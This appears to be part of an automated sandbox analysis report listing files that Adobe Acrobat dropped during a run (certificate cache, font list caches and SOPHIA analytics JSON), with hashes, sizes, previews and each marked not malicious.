SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklghaGpstfllXlE/HT8kcNNX8RolJuRdxLlGB9lQRYwpDdt:kK5hNyeT8XNMa8RdWBwRd
MD5:	BC2AA7637F2ECFC3B8A79C9278C4D4E1
SHA1:	C31C33400FAA6E639D8A9F8196000135763A9D60
SHA-256:	2975D28942BADBF64D15DE9179C503230ABB02A533DF1B94AFDA418539EE21BF
SHA-512:	F9A7B07DF79E7B9F53D8663FAEAC5ADCCCF3950AE2B717C70888F99D7A3852D3E9C329D83B8D27D3814D70A4B4D61178B20B326E5400409E5CB446D2EC639E86
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3756

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3756

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358607835744195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJM3g98kUwPeUkwRe9:YvXKXnDh7412Zc0vVdlOGMbLUkee9
MD5:	674FF36A6AC168CFF9DFCA81E818D4B4
SHA1:	4511717D1083F39B2BFFE107DAA5A808C5FEAE9C
SHA-256:	4FC5B3B9C39F4A494598D006BA0B0ADB228A06EE6767E1627C7C1B0E74A637FD
SHA-512:	37EBD24B21D0F8C3B8F5294B69FB4A12CD1098F7C4D3965B2FC80F1D83E39F92AB70DD860188725407F3E38111C0C04E88CDDCEBA54F988E837C516045B99E5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305030489332968
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfBoTfXpnrPeUkwRe9:YvXKXnDh7412Zc0vVdlOGWTfXcUkee9
MD5:	811A72DCD8C261040ED8C4951406443F
SHA1:	DEB9A07DC708F6C7999475CC49EC1569E2573E19
SHA-256:	75DBA66198BD4C4B6683E5E4521601A197A0F00D85E995E33DBA3E26EAC830D6
SHA-512:	558E7E31D3CD09D5243C9FDBC855E179D39FBE06489487F1DF5AE5BB1AA730A0F522808E236E788DC31E38B080B7ECFE5C38E6F7E7473796669DBA4D776C4D56
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2829718997227
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfBD2G6UpnrPeUkwRe9:YvXKXnDh7412Zc0vVdlOGR22cUkee9
MD5:	FCAAC338997BEB33D8B03647C5F4B8FB
SHA1:	C14C31DD45C2125B98F7EB03059F1A2DFFD6D736
SHA-256:	E410E1B347CDD3797603DB53E633FFB3972050FEFD3D6F64986F59361DCA920C
SHA-512:	5605F8353941C848746C34178B5C0F28470809DEE9A10ECD3FBC35FB406CFE8D22103AFD67C3A2AB337AC2F030043DFF1D92B470BE77B5B6A5D2D8F1B59493A9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34545148051574
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfPmwrPeUkwRe9:YvXKXnDh7412Zc0vVdlOGH56Ukee9
MD5:	B2FB37BAEAEC02DF5874D111D80078CF
SHA1:	025B73BEFD7FECC7C3AA4EC43D97489D97449B9D
SHA-256:	8F2DECC28B0380DEA0954468632F5D9EDAA5020B31B103497B84DD355E693AD8
SHA-512:	F32691F8008028064F9002DB3840D4B10CB0722722FA6C021D676F81BD12D173C4E66E0C42F771A5C824198F9147B5BEC8F96E8A589CC7BF90322B0A1DB6C668
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.681243429338057
Encrypted:	false
SSDEEP:	24:Yv6Xna12zvVfpLgE9cQx8LennAvzBvkn0RCmK8czOCCSU:YvK1dfhgy6SAFv5Ah8cv/U
MD5:	3AB24236ABDDD6190FC26303F72EFF1D
SHA1:	18D2F381C75031BED027756B50660004A79C8677
SHA-256:	BAFF41B62DCB36C788C7B002B53FA1F861ECEE85CFDEB69FBF094B8193B248AC
SHA-512:	AEB2EB5DCB440F87904562687BBF8E66E28E446B50D437313D49D70D5B7F7EFA0A061BA9302462A04F9DFBC0B19E6E15E2934C15A12E74610F1C5656E068F6BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288834352159368
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJf8dPeUkwRe9:YvXKXnDh7412Zc0vVdlOGU8Ukee9
MD5:	AB0B8341C1BF7EA2ECED7DEBB58F519E
SHA1:	5AA4CFFEBC6CE1F6E419F85E425F9C06D2BA3D6D
SHA-256:	CC3C7EC0D8F9C56284FF4977C138442D838D172F8AB0DD8C31A4689DD23C37CE
SHA-512:	3214DC631347D1938425FD6866AD6F184401AB698FE8339515F0AAF16919426F40220A5922EAD8876A9CE6F9AB87B9CF5E3A11CED4367951C5F6E35CE879ED1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2920059202855025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfQ1rPeUkwRe9:YvXKXnDh7412Zc0vVdlOGY16Ukee9
MD5:	17B35012C597F0820F13BB2417929C90
SHA1:	505322051E04FC51F5A35E23C524CA7773F915E8
SHA-256:	C8A8D1AD96A4BAC7D949A61754E709C4D5F63FA756A2FBA300B645E436B0D236
SHA-512:	11F5C323C34D1C522CD1D49D8757043409DF983A520B18F7E78AAF83734C40262071DAC0E10BCB43BE8637B1E800508DFF5C322DF3381C13D34E44C298CC467C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299392750115864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfFldPeUkwRe9:YvXKXnDh7412Zc0vVdlOGz8Ukee9
MD5:	871666CE62F82A741AF04A58AB21A5F3
SHA1:	A5F5BCEC453EDC4BF27416EBDFC5A1558D7346CF
SHA-256:	B1C4209E58DF8353F9C4B632F2A6E206AE19026FD7A8C91DB4882C0E6E6CBC36
SHA-512:	D3C9863B9A88147A0CBB1967BE5234DCEEA74F6E61D33CD003A38A36F0F022AE4CF4DB0FF066D17CD512739D055F2E6D59B10E99779BC9AB95EFE8B494FC7993
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.315568868926081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfzdPeUkwRe9:YvXKXnDh7412Zc0vVdlOGb8Ukee9
MD5:	3E0C1E49BF91FBC73A51070BB5690580
SHA1:	FA67F5134558ACD298C65AFB2CE7AB963F2A36A8
SHA-256:	719E2A248E0089A37B00D234D7566F067E68CF2A9D285036A978F8C57F6A4DA7
SHA-512:	F5172A9CBE1BEDCE808C2C903EEB161F29B1A549DF5BEB400398E2C4C366D3482EBF3DCAD749238E30859A96C96FD3DFC57E57F4DF1D678DF7A3960694168D4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295840009847155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfYdPeUkwRe9:YvXKXnDh7412Zc0vVdlOGg8Ukee9
MD5:	A7C2AD950CD6C83F1486A7A271DE6B31
SHA1:	4DA74AD05F56185293BCF1B4CEF7BADA2EBA96D6
SHA-256:	36F976B2AD8F8C3522EA59D388A15E5B7C3A4E611ADD473D1D59E6AFAE451544
SHA-512:	FB80AF2F2B27EC09C2ED9A583A8F7941DAC97037FBA95409C0D4E12FD4D036757AFBF48FB92454AE61AC1F7D719ABF817DCE1A2CF087B4E5183CDB554012D76F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.282665984396435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJf+dPeUkwRe9:YvXKXnDh7412Zc0vVdlOG28Ukee9
MD5:	B0EA427D7BD0BF7059D4F15B26B419A1
SHA1:	A799C9F6C0245560B1EB33D3013763267ED2EB68
SHA-256:	52F48101295A68E516F83846CB44B02EF18D701FA4721EAC144E0191DA05ED24
SHA-512:	A2DAEF64A7A10766C06611DDBE1791D183E38FBBE028165C9732937301C4643450C8CA6A5BBC3471A491CF0B3AC0BD6396BB9E9D7A739A5CD15332867FF95402
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1cdf3895-bed7-4c44-9e22-ebe016c3ac9c","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736721255961,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.279415698518633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXnDArG741HVoZcg1vRcR0Y6dlxoAvJfbPtdPeUkwRe9:YvXKXnDh7412Zc0vVdlOGDV8Ukee9
MD5:	7D9777B3A69B45056D78ACF9CAC9DD88
SHA1:	BB14698A4E4A66A1F7E798C8A0D686472B01226B
SHA-256:	8409F598C4198AC9228058E3864B391F0AA3C8EE94E01FDBC1D6E7222884F5DB
SHA-512:	C9F68120B13820C9CD72F0FDBB59F99E48B6F6667E70078798208FD6829441162645C5235E58F0DE056F523B2E5E2FFB241B0BC5A5A88000DF148559C3123AA6
Malicious:	false
